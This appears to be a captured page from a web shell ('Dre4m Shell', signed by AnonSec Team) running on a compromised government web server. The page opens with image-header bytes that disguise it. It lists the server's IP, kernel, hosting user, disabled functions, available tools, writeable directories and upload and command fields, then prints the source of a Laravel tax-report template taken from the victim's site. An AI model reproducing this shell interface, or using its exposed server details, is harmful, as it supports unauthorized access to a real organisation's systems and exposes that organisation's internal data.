ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 18.216.167.167
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/grp.nicn.gov.ng/storage/framework/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/grp.nicn.gov.ng/storage/framework/views/13941a8b8ec9a560c08d405c425db2cdc7d2162e.php
<?php $__env->startSection('pageTitle'); ?>
 <b>TAX MATTER</b> - <span class="text-italic">ALL AVAILABLE RECORDS</span>
<?php $__env->stopSection(); ?>



<?php $__env->startSection('content'); ?>

<div class="box box-default" style="border-top:none;">
  <div class="box-body box-profile">
    <div class="box-header with-border hidden-print">
      <h3 class="box-title"> <?php echo $__env->yieldContent('pageTitle'); ?> <span id='processing'></span></h3>
    </div>

    <div class="box-body">
      <div class="row">
        <div class="col-md-12"><!--1st col--> 
          <?php echo $__env->make('Share.message', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?>

            <div class="row hidden-print">
                <!--Search by Date Range-->
                <form method="post">
                    <?php echo e(csrf_field()); ?>

                    
                    <div class="col-md-2 ">
                  <label>From</label>
                  <input type="text" class="col-sm-9 form-control" value="<?php echo e($from); ?>" name="from" id="from">
              </div>
              <div class="col-md-2">
                    <label>To</label>
                    <input type="text" class="col-sm-9 form-control" value="<?php echo e($to); ?>" name="to" id="to">
            </div>
                    
                    <div class="col-md-3">
                        <div class="form-group">
            			    <label >Select TAX/WHT/STD Element </label>
                            <select name="element" class="form-control">
                                <option value="" >-Select element</option>
                                <option value="1" <?php echo e($element == 1 ? 'selected' : ''); ?>>VAT Element Only</option> 
                                <option value="2" <?php echo e($element == 2 ? 'selected' : ''); ?>>WHT Element Only</option>
                                <option value="3" <?php echo e($element == 3 ? 'selected' : ''); ?>>Stamp Duty Only</option>
                            </select>
                        </div>
                    </div>
                    
                    <div class="col-md-3">
                        <div class="form-group">
            			    <label >Select Record Type</label>
                            <select name="rtype" class="form-control">
                                <option value="" <?php echo e($rtype == "" ? 'selected' : ''); ?>>All Records</option>
                                <option value="1" <?php echo e($rtype == 1 ? 'selected' : ''); ?>>Not Committed Records</option>
                                <option value="2" <?php echo e($rtype == 2 ? 'selected' : ''); ?>>Committed Records</option>
                                <option value="3" <?php echo e($rtype == 3 ? 'selected' : ''); ?>>Paid Records</option>
                            </select>
                        </div>
                    </div>
                    <div class="col-md-2">
                        <div class="form-group">
            			    <label >Capital/Recurrent</label>
                            <select name="rc" class="form-control">
                                <option value="All" <?php echo e($rc == "" ? 'selected' : ''); ?>>-All-</option>
                                <?php $__currentLoopData = $Recurrent_Capital; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $b): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
        						    <option value="<?php echo e($b->id); ?>" <?php echo e(($rc) == $b->id? "selected":""); ?>><?php echo e($b->text); ?></option>
        		                <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> 
                                
                            </select>
                        </div>
                    </div>
                    
                    <div class="col-md-12">
            		    <div class="form-group col-md-12" align="right">
            		       <label>&nbsp;</label><br />
            			  <button type="submit" class="btn btn-success" value="searchByDate" name="reload"><i class="fa fa-search"></i> Search</button>
            			</div>
            			
                    </div>
                    
                </form>
             </div>
             <?php $elementType = ($getReportDetails)? $getReportDetails[0]->element_:""; ?> 
            <div class="table-responsive col-md-12" style="font-size: 12px; padding:5px;">
                <div align="center">
		           <?php echo $__env->make('layouts.allReportHeader', ['companyName'=>'defaultName', 'companyAddress'=>'defaultAddress', 'title1'=>'MONTHLY <?php echo e($elementType); ?> RETURNS FORM', 'title2'=>'', 'showOnlyTitle1'=>1, 'showOnlyTitle2'=>1, 'hideLogos'=>1, 'hideAddress'=>0], \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?>
	          </div>

                  <div align="center"> SCHEDULE OF <?php echo e($elementType); ?>  RETURNS TO FEDERAL INLAND REVENUE SERVICE FOR THE MONTH OF <?php echo e(date_format(date_create($to), "F, Y")); ?></div>
                  <br />
                <table class="table table-bordered table-striped table-highlight text-center"> <!--id="res_tab"-->
                    <thead>
                        <tr bgcolor="#c7c7c7" style="font-size:10px;">
                            <th>SN</th>
                            <th>BENEFICIARY TIN</th>
                            <th>BENEFICIARY NAME</th>
                            <th>BENEFICIARY ADDRESS</th>
                            <th>INVOICE NO</th>
                            <th>CONTRACT DATE</th>
                            <th>CONTRACT DESCRIPTION</th>
                            <th>CONTRACT AMOUNT</th>
                            <th>CONTRACT TYPE</th>
                            <th> RATE(%)</th>
                            <th> AMOUNT(N)</th>
                            <th>PERIOD CONVERED</th>
                            <th class="hidden-print">VIEW</th>
                            
                        </tr>
                    </thead>
                    <?php $i = 1; $getTaxDescriptionID = 0; ?>
                    <tbody>
                        <?php if(isset($getReportDetails)): ?>
                            <?php $__empty_1 = true; $__currentLoopData = $getReportDetails; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $key=>$list): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); $__empty_1 = false; ?>
                                
                                <tr>
                                    <td><?php echo e($i++); ?></td>
                                    <td><?php echo e($list->TIN); ?></td>
                                    <td><?php echo e($list->contractor); ?></td>
                                    <td><?php echo e($list->address); ?></td>
                                    <td> </td>
                                    <td><?php echo e($list->transdate); ?></td>
                                    <td>
                                        <a href="#" data-toggle="modal" data-target="#editRecordModal<?php echo e($list->ID); ?>"><span id="pageDescription<?php echo e($list->ID); ?>"><?php echo e((($list->tax_description != '') ? $list->tax_description : $list->paymentDescription)); ?></span></a>
                                        &nbsp;&nbsp;&nbsp;
                                        <a href="#" class="hidden-print" data-toggle="modal" data-target="#refreshModal<?php echo e($list->ID); ?>"><span class="fa fa-refresh text-left m-5"></span></a>
                                    </td>
                                    <td><?php echo e(number_format($list->totalPayment, 2)); ?></td>
                                    <td><?php echo e($list->element_); ?></td>
                                    <td><?php echo e($list->element_per); ?>%</td>
                                    <td><?php echo e(number_format($list->element_value, 2)); ?></td>
                                    <td><?php echo e(date_format(date_create($list->transdate), "F, Y")); ?></td>
                                    <td class="hidden-print">
                                        <a href="<?php echo e(url('/display/voucher/'.$list->ID)); ?>" target="_blank" class="hidden-print"><span class="fa fa-eye fa-2x"></span></a>
                                    </td>
                                </tr>
                                
                                <!--Edit  record JSON-->
								    <form>
								    <?php echo e(csrf_field()); ?>

                            		<div class="modal fade" id="editRecordModal<?php echo e($list->ID); ?>" role="dialog" aria-hidden="true">
                            			<div class="modal-dialog">
                            				<div class="modal-content">
                            					<div class="modal-header" style="background: gray; color: white; border: 1px solid white;">
                            						<button type="button" class="close" data-dismiss="modal" aria-hidden="true"></button>
                            						<h4 class="modal-title">Edit Record</h4>
                            					</div>
                            					<div class="modal-body col-sm-12" style="padding: 10px;">
                            						<div class="row" style="background: #FFFFFF; margin: 5px;">
                            							
                            							<div class="row" style="background: #ddd; margin: 5px 10px; padding: 5px;">
                            								<div class="col-md-6">
                            									Beneficiary Name
                            									<div class="form-control"><h6><?php echo e($list->contractor); ?></h6></div>
                            								</div>
                            								<div class="col-md-6">
                            									Contract Amount
                            									<div class="form-control"><?php echo e(number_format($list->totalPayment, 2)); ?></div>
                            								</div>
                            							</div>
                            	
                            							<div class="row" style="background: #ddd; margin: 5px 10px; padding: 5px;">
                            								<div class="col-md-12">
                            									Payment Description
                            									<textarea readonly="readonly" style="min-height:150px;" name="description" id="description<?php echo e($list->ID); ?>" class="form-control"><?php echo e($list->paymentDescription); ?></textarea>
                            								    <input type="hidden" id="descriptionID<?php echo e($list->ID); ?>" />
                            								</div>
                            							</div>  
                            							
                            						</div>
                            						<hr />
                            					</div>
                            					<div class="modal-footer"> 
                            					    <div class="row">
                            					        <div class="col-md-12 text-left">Select Description</div>
                            					        <div class="col-md-7">
                            					            <select class="form-control getTextID getElement<?php echo e($list->ID); ?>" id="<?php echo e($list->ID); ?>">
                            					                <option value="" selected> Select </option>
                            					                <?php $__currentLoopData = $TaxMetterDescription; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $getValue): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                            					                    <option value="<?php echo e($getValue->descriptionID); ?> <?php echo e(($getValue->descriptionID == $list->tax_report_description)? 'selected ' : ''); ?>"><?php echo e($getValue->tax_description); ?></option>
                            					                <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                            					            </select>
                            					        </div>
                            					        <div class="col-md-5">
                            					            <button type="button" class="btn btn-success updateRecordForTaxMatter" id="<?php echo e($list->ID); ?>"> Update <i clas="fa fa-file"></i></button>
                            						        <button type="button" class="btn btn-default" data-dismiss="modal"> Cancel </button>
                            					        </div>
                            					    </div>
                            					</div>
                            					<hr />
                            				</div>
                            			</div>
                            		</div>
                            		</form>
                            	<!-- //Confirmation For Medit record -->
                            	
                            	<!--Refresh record Modal JSON-->
								    <form>
								    <?php echo e(csrf_field()); ?>

                            		<div class="modal fade" id="refreshModal<?php echo e($list->ID); ?>" role="dialog" aria-hidden="true">
                            			<div class="modal-dialog">
                            				<div class="modal-content">
                            					<div class="modal-header" style="background: gray; color: white; border: 1px solid white;">
                            						<button type="button" class="close" data-dismiss="modal" aria-hidden="true"></button>
                            						<h4 class="modal-title">Revert Description</h4>
                            					</div>
                            					<div class="modal-body col-sm-12" style="padding: 10px;">
                            						<div class="row" style="background: #FFFFFF; margin: 5px;">
                            							<div class="col-md-12 bg-warning text-center text-danger" style="margin: 5px 10px; padding: 5px;">
                            									<h4>Are you sure you want to revert the previous description ?</h4>
                            							</div>
                            						</div>
                            						<hr />
                            					</div>
                            					<div class="modal-footer"> 
                            					    <button type="button" class="btn btn-success revertDescriptionTaxMatter" id="<?php echo e($list->ID); ?>"> Yes. Revert Now <i clas="fa fa-file"></i></button>
                            					    <button type="button" class="btn btn-default" data-dismiss="modal"> No. Cancel </button>
                            					</div>
                            				</div>
                            			</div>
                            		</div>
                            		</form>
                            	<!-- //Refresh Modal -->
	
	
                            <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); if ($__empty_1): ?>
                                <tr>
                                   <td colspan="100%">
                                       <center>No Record Found !</center>
                                   </td> 
                                </tr>
                            <?php endif; ?>
                        <?php endif; ?>
        
                    </tbody>                    
                </table>
                <hr />
                
        </div>
  </div>
</div>
 <input type="button" class="hidden-print" id="btnExport" value="Export to Excel" onclick="Export()" />  
<div  id="tableData" style="display: none;">
                <table id="mytable" >
		        <thead>
		          <tr >
		          
		            <th>SN</th>
                        <th>BENEFICIARY TIN</th>
                        <th>BENEFICIARY NAME</th>
                        <th>BENEFICIARY ADDRESS</th>
                        <th>INVOICE NO</th>
                        <th>CONTRACT DATE</th>
                        <th>CONTRACT DESCRIPTION</th>
                        <th>CONTRACT AMOUNT</th>
                        <th>CONTRACT TYPE</th>
                        <th> RATE(%)</th>
                        <th> AMOUNT(N)</th>
                        <th>PERIOD CONVERED</th>
		          </tr>
		        </thead>
		               
		        <tbody>
		        
		          <?php
		          $i=1;
		          ?>
		           
		            <?php $__currentLoopData = $getReportDetails; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $list): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
		           
		               <tr>
		               <td><?php echo e($i++); ?></td>
                                    <td><?php echo e($list->TIN); ?></td>
                                    <td><?php echo e($list->contractor); ?></td>
                                    <td><?php echo e($list->address); ?></td>
                                    <td> </td>
                                    <td><?php echo e($list->transdate); ?></td>
                                    <td><?php echo e((($list->tax_description != '') ? $list->tax_description : $list->paymentDescription)); ?></td>
                                    <td><?php echo e(number_format($list->totalPayment, 2)); ?></td>
                                    <td><?php echo e($list->element_); ?></td>
                                    <td><?php echo e($list->element_per); ?>%</td>
                                    <td><?php echo e(number_format($list->element_value, 2)); ?></td>
                                    <td><?php echo e(date_format(date_create($list->transdate), "F, Y")); ?></td>
		               </tr>
		            <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
		            </tbody>
		                   
		      </table>
		     </div>

<?php $__env->stopSection(); ?>

<?php $__env->startSection('styles'); ?>
<link rel="stylesheet" type="text/css" href="<?php echo e(asset('assets/css/datepicker.min.css')); ?>">
<link rel="stylesheet" type="text/css" href="https://cdn.datatables.net/1.10.19/css/jquery.dataTables.min.css">
<link rel="stylesheet" type="text/css" href="https://cdn.datatables.net/buttons/1.5.2/css/buttons.dataTables.min.css">

<?php $__env->stopSection(); ?>

<?php $__env->startSection('styles'); ?>
<style type="text/css">
    .modal-dialog {
width:13cm
}

.modal-header {

background-color: #006600;

color:#FFF;

}

#partStatus{
    width:2.5cm
}

</style>

<?php $__env->stopSection(); ?>

<?php $__env->startSection('scripts'); ?>

    <script src="/assets/js/table2excel.js"></script>
<script src="https://cdn.datatables.net/1.10.19/js/jquery.dataTables.min.js"></script>
<script src="https://cdn.datatables.net/buttons/1.5.2/js/dataTables.buttons.min.js"></script>
    <script src="<?php echo e(asset('assets/js/jquery-ui.min.js')); ?>"></script>
    <script type="text/javascript" src="https://cdn.jsdelivr.net/momentjs/latest/moment.min.js"></script>
    <script type="text/javascript" src="https://cdn.jsdelivr.net/npm/daterangepicker/daterangepicker.min.js"></script>
    <link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/npm/daterangepicker/daterangepicker.css" />
    <script type="text/javascript">
       //Date Picker Range
        $(function() {
    
        var start = moment().subtract(29, 'days');
        var end = moment();
    
        function cb(start, end) {
            $('#reportrange span').html(start.format('MMMM D, YYYY') + ' - ' + end.format('MMMM D, YYYY'));
            $('#startDate').val(start.format('YYYY-MM-D'));
            $('#endDate').val(end.format('YYYY-MM-D'));
            $('#searchDate').val(start.format('MMMM D, YYYY') + ' - ' + end.format('MMMM D, YYYY'));
        }
        $('#reportrange').daterangepicker({
            startDate: start,
            endDate: end,
            ranges: {
               'Today': [moment(), moment()],
               'Yesterday': [moment().subtract(1, 'days'), moment().subtract(1, 'days')],
               'Last 7 Days': [moment().subtract(6, 'days'), moment()],
               'Last 30 Days': [moment().subtract(29, 'days'), moment()],
               'This Month': [moment().startOf('month'), moment().endOf('month')],
               'Last Month': [moment().subtract(1, 'month').startOf('month'), moment().subtract(1, 'month').endOf('month')]
            }
        }, cb);
        cb(start, end);
    });
    //Date Picker Range
    
	
	//Submit Retire Form
	$(document).ready(function() {
	    
	    //Update Description
	  	$(".updateRecordForTaxMatter").click(function () {
	  	    var getRecordID = this.id;
	  		var description 	= $('#description'+ getRecordID).val();
	  		var descriptionID   = $('#descriptionID' + getRecordID).val();
	  		var newDescription  = $(".getElement" + getRecordID + " option:selected").text();
	  		$('#pageDescription' + getRecordID).val(newDescription);
	  		//
            if(descriptionID == ''){
                alert('Sorry description cannot be empty');
                return false;
            }
		  	$.ajax({
				url: murl +'/update_tax_matter_report',
				type: "post",
				data: {'descriptionID': descriptionID, 'recordID': getRecordID, 'paymentDescription': description, '_token': $('input[name=_token]').val()},
				success: function(data){
				    $('#descriptionID' + getRecordID).val('');
					location.reload();
				}
			})
		});
		
		//Revert Description
		$(".revertDescriptionTaxMatter").click(function () {
	  	    var getRecordID = this.id;
		  	$.ajax({
				url: murl +'/revert_update_tax_matter_report',
				type: "post",
				data: {'recordID': getRecordID, '_token': $('input[name=_token]').val()},
				success: function(data){
					location.reload();
				}
			})
		});
		
		
		//Get Description ID
		$(".getTextID").change(function () {
	  	    var getRecordID = this.id;
	  	    
            $('#descriptionID' + getRecordID).val('');
            //$('#description' + getRecordID).val('');
 
		  	$('#descriptionID' + getRecordID).val($(".getElement" + getRecordID).val());
		  	//$('#description' + getRecordID).val($(".getElement" + getRecordID + " option:selected").text());
		  	$('#pageDescription' + getRecordID).val($(".getElement" + getRecordID + " option:selected").text());
		  	
		});
		
	 });
	 
	//

</script>
    

    
<script src="<?php echo e(asset('assets/js/jquery-ui.min.js')); ?>"></script>
<script>
    $('#res_tab').DataTable({
        "paging": false // false to disable pagination (or any other option)
    });

    $( function(){
        $("#todayDate").datepicker({changeMonth: true,changeYear: true,dateFormat: 'yy-mm-dd'}); 
      });

    $( function(){
        $("#dateawd").datepicker({changeMonth: true,changeYear: true,dateFormat: 'yy-mm-dd'}); 
      });

   $("#check-all").change(function(){
       $(".checkitem").prop("checked", $(this).prop("checked"))
   })
   $(".checkitem").change(function(){
       if($(this).prop("checked") == false){
           $("#check-all").prop("checked", false)
       }
       if($(".checkitem:checked").length == $(".checkitem").length){
           $("#check-all").prop("checked", true)
       }
   })

 $( function(){
   $("#from").datepicker({changeMonth: true,changeYear: true,dateFormat: 'yy-mm-dd'});
   $("#to").datepicker({changeMonth: true,changeYear: true,dateFormat: 'yy-mm-dd'});
    });
    
    
    function Export() {
            $("#tableData").table2excel({
                filename: "chart_of_account.xls"
            });
        }       
</script>
<?php $__env->stopSection(); ?>


<?php echo $__env->make('layouts.layout', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?><?php /**PATH C:\xampp\htdocs\nicngrp\resources\views/Report/viewTaxReport.blade.php ENDPATH**/ ?>

Anon7 - 2022
AnonSec Team